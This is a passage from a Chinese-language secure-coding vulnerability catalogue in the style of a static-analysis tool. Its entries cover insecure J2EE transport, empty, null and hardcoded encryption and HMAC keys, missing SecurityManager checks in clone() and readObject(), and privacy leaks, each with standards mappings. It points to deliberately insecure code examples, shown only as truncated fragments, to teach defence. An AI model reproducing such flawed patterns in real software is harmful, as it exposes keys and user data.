[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
J2EE Misconfiguration: Insecure Transport
ABSTRACT
应用程序通过配置应确保 SSL 被用于所有的访问受控页面。
EXPLANATION
如果应用程序使用 SSL 来保证与客户端浏览器之间的机密通信,那么应用程序的配置应该规定:如果不使用 SSL,就无法查看任何访问受控页面。
通常有以下三种方式来绕开 SSL:
- 用户手动输入 URL,且该 URL 的类型是 “HTTP” 而不是 “HTTPS”。
- 攻击者故意将一个不安全的 URL 发送给用户。
- 程序员在应用程序中错误地创建了一个与页面相关的链接,使之未能从 HTTP 转换成 HTTPS。(这种情况很容易发生,尤其是在一个网站上,链接在公开区域与安全区域之间移动的时候。)
RECOMMENDATIONS
如果应用程序容器需要使用 SSL,应修改应用程序的 web.xml 文件,以使所有的安全限制条件都包含一个机密传输保证,如下所示:
1 | <security-constraint> |
REFERENCES
[1] A. Taylor et al. J2EE & Java: Developing Secure Web Applications with Java Technology (Hacking Exposed) Osborne/McGraw-Hill
[2] Standards Mapping - Common Weakness Enumeration CWE ID 5
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Key Management: Empty Encryption Key
ABSTRACT
Empty 加密密钥可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。
EXPLANATION
请勿使用空加密密钥,因为这样将会大幅减弱由良好的加密算法提供的保护,而且还会大大增加解决问题的难度。一旦问题代码投入使用,除非对软件进行修补,否则您再也不能改变空加密密钥。如果受空加密密钥保护的帐户遭受入侵,系统所有者将被迫在安全性和可用性之间做出选择。
例 1: 下列代码使用空加密密钥执行 AES 加密:
1 | ... |
任何可以访问此代码的人不仅可以确定它使用空加密密钥,而且任何使用最基本破解技术的人都更有可能成功解密所有加密数据。一旦应用程序发布,除非对程序进行修补,否则将无法更改空加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。虽然攻击者仅可访问应用程序的可执行文件,但是他们可以提取使用了空加密密钥的证据。
RECOMMENDATIONS
加密密钥不能为空,而应对加密密钥加以模糊化,并在外部资源文件中进行管理。如果在系统中采用明文的形式存储加密密钥(空或非空),任何有足够权限的人即可读取加密密钥,还可能误用这些加密密钥。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[5] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[6] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[7] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Key Management: Empty HMAC Key
ABSTRACT
空的 HMAC 密钥可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。
EXPLANATION
使用空的 HMAC 密钥绝非好方法。HMAC 的加密强度依赖于密钥的大小,后者用于计算和验证消息的身份验证值。使用空的密钥会削弱 HMAC 函数的加密强度。
示例:下列代码使用空的密钥来计算 HMAC:
1 | ... |
上面的代码可以顺利运行,但任何对该代码具有访问权限的人都能知道它使用的是空的 HMAC 密钥。一旦程序发布,将无法更改空的 HMAC 密钥,除非是要修补该程序。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,上面的代码还容易受伪造和密钥恢复攻击。
RECOMMENDATIONS
绝对不应使用空的 HMAC 密钥。底层散列函数的加密强度依赖于 HMAC 密钥的大小和强度;因此,密钥需要由随机种子设置的(加密性很强的)伪随机数值生成器随机生成,并定期刷新。
HMAC 密匙的长度至少应该与底层散列函数输出的长度相匹配。
REFERENCES
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Key Management: Hardcoded Encryption Key
ABSTRACT
Hardcoded 加密密钥可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。
EXPLANATION
请勿对加密密钥进行硬编码,因为这样所有项目开发人员都能查看该加密密钥,而且还会大大增加解决问题的难度。一旦代码被使用,除非对软件进行修补,否则加密密钥将再也不能更改。如果受加密密钥保护的帐户遭受入侵,系统所有者将被迫在安全性和可用性之间做出选择。
例 1:下列代码使用了硬编码加密密钥:
1 | ... |
任何可访问该代码的人都能访问加密密钥。一旦应用程序发布,除非对程序进行修补,否则将无法更改加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。更糟糕的是,如果攻击者可以访问应用程序的可执行文件,就可以提取加密密钥值。
RECOMMENDATIONS
请勿对加密密钥进行硬编码,而应对加密密钥加以模糊化,并在外部资源文件中进行管理。如果在系统中采用明文的形式存储加密密钥,任何有足够权限的人即可读取加密密钥,还可能误用这些密码。
REFERENCES
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Key Management: Hardcoded HMAC Key
ABSTRACT
硬编码 HMAC 密钥可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。
EXPLANATION
采用硬编码处理 HMAC 密钥绝非一个好方法。HMAC 的加密强度依赖于密钥的保密性,后者用于计算和验证消息的身份验证值。采用硬编码处理 HMAC 密钥允许任何可访问源的人都能查看它,所以会削弱函数的加密强度。
示例:下列代码使用硬编码密钥来计算 HMAC:
1 | ... |
此代码可以顺利运行,但任何对该代码具有访问权限的人都能获得对此 HMAC 密钥的访问权限。一旦程序发布,将无法更改硬编码 HMAC 密钥“hmacKey”,除非是要修补该程序。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。
RECOMMENDATIONS
绝对不应对 HMAC 密钥进行硬编码。底层散列函数的加密强度依赖于 HMAC 密钥的大小和强度;因此,密钥需要由随机种子设置的(加密性很强的)伪随机数值生成器随机生成,并定期刷新。
一旦发现硬编码 HMAC 密钥,立即修补程序并采取必要的措施,以限制任何因密钥暴露而带来任何损害。
REFERENCES
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] MSC03-J. Never hard code sensitive information CERT
[4] Standards Mapping - Common Weakness Enumeration CWE ID 321
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[18] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[19] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[20] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Key Management: Null Encryption Key
ABSTRACT
Null 加密密钥可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。
EXPLANATION
请勿使用 Null 加密密钥,因为这样将会大幅减弱由良好的加密算法提供的保护,而且还会大大增加解决问题的难度。一旦问题代码投入使用,除非对软件进行修补,否则您再也不能改变 null 加密密钥。如果受 Null 加密密钥保护的帐户遭受入侵,系统所有者将被迫在安全性和可用性之间做出选择。
例 1: 下列代码使用 null 加密密钥执行 AES 加密:
1 | ... |
任何可以访问此代码的人不仅可以确定它使用 null 加密密钥,而且任何使用最基本破解技术的人都更有可能成功解密所有加密数据。一旦应用程序发布,除非对程序进行修补,否则将无法更改 Null 加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。即使攻击者只能访问应用程序的可执行文件,他们也可以提取使用了 null 加密密钥的证据。
RECOMMENDATIONS
加密密钥不能为 Null,而应对加密密钥加以模糊化,并在外部资源文件中进行管理。如果在系统中采用明文的形式存储加密密钥(null 或非 null),任何有足够权限的人即可读取加密密钥,还可能误用这些密码。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[5] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[6] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[7] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Missing SecurityManager Check: Cloneable
ABSTRACT
可克隆的类如果在其构造函数中执行此检查,那么它还需要在其 clone() 方法中执行相同的检查。
vEXPLANATION==== 调用一个类的 clone() 方法时,不会调用该类中正在克隆的构造函数。因此,如果在可克隆类的构造函数中存在 SecurityManager 或 AccessController 检查,则该类的克隆方法中也必须存在相同的检查。否则,在克隆类时将绕过此安全检查。
例 1:对于下列代码,构造函数中包含 SecurityManager 检查,而 clone() 方法中不包含该检查。
1 | public class BadSecurityCheck implements Cloneable { |
RECOMMENDATIONS
如果可克隆类的构造函数中存在 SecurityManager 检查,请确保 clone() 方法中存在相同的 SecurityManager 检查。
例 2:下列代码在构造函数与 clone() 方法中都使用 doSecurityCheck() 方法来执行 SecurityManager 检查。
1 | public class GoodSecurityCheck implements Cloneable { |
REFERENCES
[1] “Secure Coding Guidelines for the Java Programming Language, version 2.0” Sun Microsystems, Inc. [Online]. [Accessed: Aug. 30, 2007]. Sun Microsystems, Inc.
[2] C. Lai Java Insecurity: Accounting for Subtleties That Can Compromise Code
[3] Standards Mapping - Common Weakness Enumeration CWE ID 358
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[9] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Missing SecurityManager Check: Serializable
ABSTRACT
可序列化的类如果在其构造函数中执行 SecurityManager 检查,那么它还需要在其 readObject() 和 readObjectNoData 方法中执行相同的检查。
EXPLANATION
调用一个可序列化的类的 readObject() 方法时,不会调用该类中正在进行反序列化的构造函数。因此,如果可序列化的类的构造函数中存在 SecurityManager 检查,则 readObject() 和 readObjectNoData() 方法中必须存在相同的 SecurityManager 检查。否则,在类进行反序列化时将绕过此安全检查。
例 1:对于下列代码,构造函数中包含 SecurityManager 检查,而 readObject() 和 readObjectNoData() 方法中不包含该检查。
1 | public class BadSecurityCheck implements Serializable { |
RECOMMENDATIONS
如果可序列化的类的构造函数中存在 SecurityManager 检查,请确保 readObject() 和 readObjectNoData() 方法中存在相同的 SecurityManager 检查。
例 2:下列代码在构造函数、readObject() 和 readObjectNoData() 方法中使用 doSecurityCheck() 方法来执行 SecurityManager 检查。
1 | public class GoodSecurityCheck implements Serializable { |
REFERENCES
[1] “Secure Coding Guidelines for the Java Programming Language, version 2.0” Sun Microsystems, Inc. [Online]. [Accessed: Aug. 30, 2007]. Sun Microsystems, Inc.
[2] C. Lai Java Insecurity: Accounting for Subtleties That Can Compromise Code
[3] SERIAL-4: Duplicate the SecurityManager checks enforced in a class during serialization and deserialization Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 358
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
PCI Privacy Violation
ABSTRACT
对机密信息(如客户密码或社会保障号码)处理不当会危及用户的个人隐私,这是一种非法行为。
EXPLANATION
Privacy Violation 会在以下情况下发生:
用户私人信息进入了程序。
数据被写到了一个外部介质,例如控制台、file system 或网络。
示例 1:以下代码包含了一个日志记录语句,该语句通过在日志文件中存储记录信息跟踪添加到数据库中的各条记录信息。在存储的其他数值中,getPassword() 函数可以返回一个由用户提供的、与用户帐号相关的明文密码。
1 | pass = getPassword(); |
在以上示例中,代码采用日志的形式将明文密码记录到了文件系统中。虽然许多开发人员认为文件系统是存储数据的安全位置,但这不是绝对的,特别是在涉及到隐私问题时。
在移动世界中隐私是最令人担心的问题之一,其原因有以下两点。一是设备丢失的几率较高。第二点与移动应用程序之间的进程间通信有关。移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。因为恶意软件在银行应用程序附近运行的可能性很高,所以应用程序的作者需要注意消息所包含的信息,这些消息将会发送给在设备上运行的其他应用程序。移动应用程序之间的进程间通信不应包含敏感信息。
示例 2:以下代码可读取存储在 Android WebView 上的给定站点的用户名和密码,并广播给所有注册的接收者。
1 | ... |
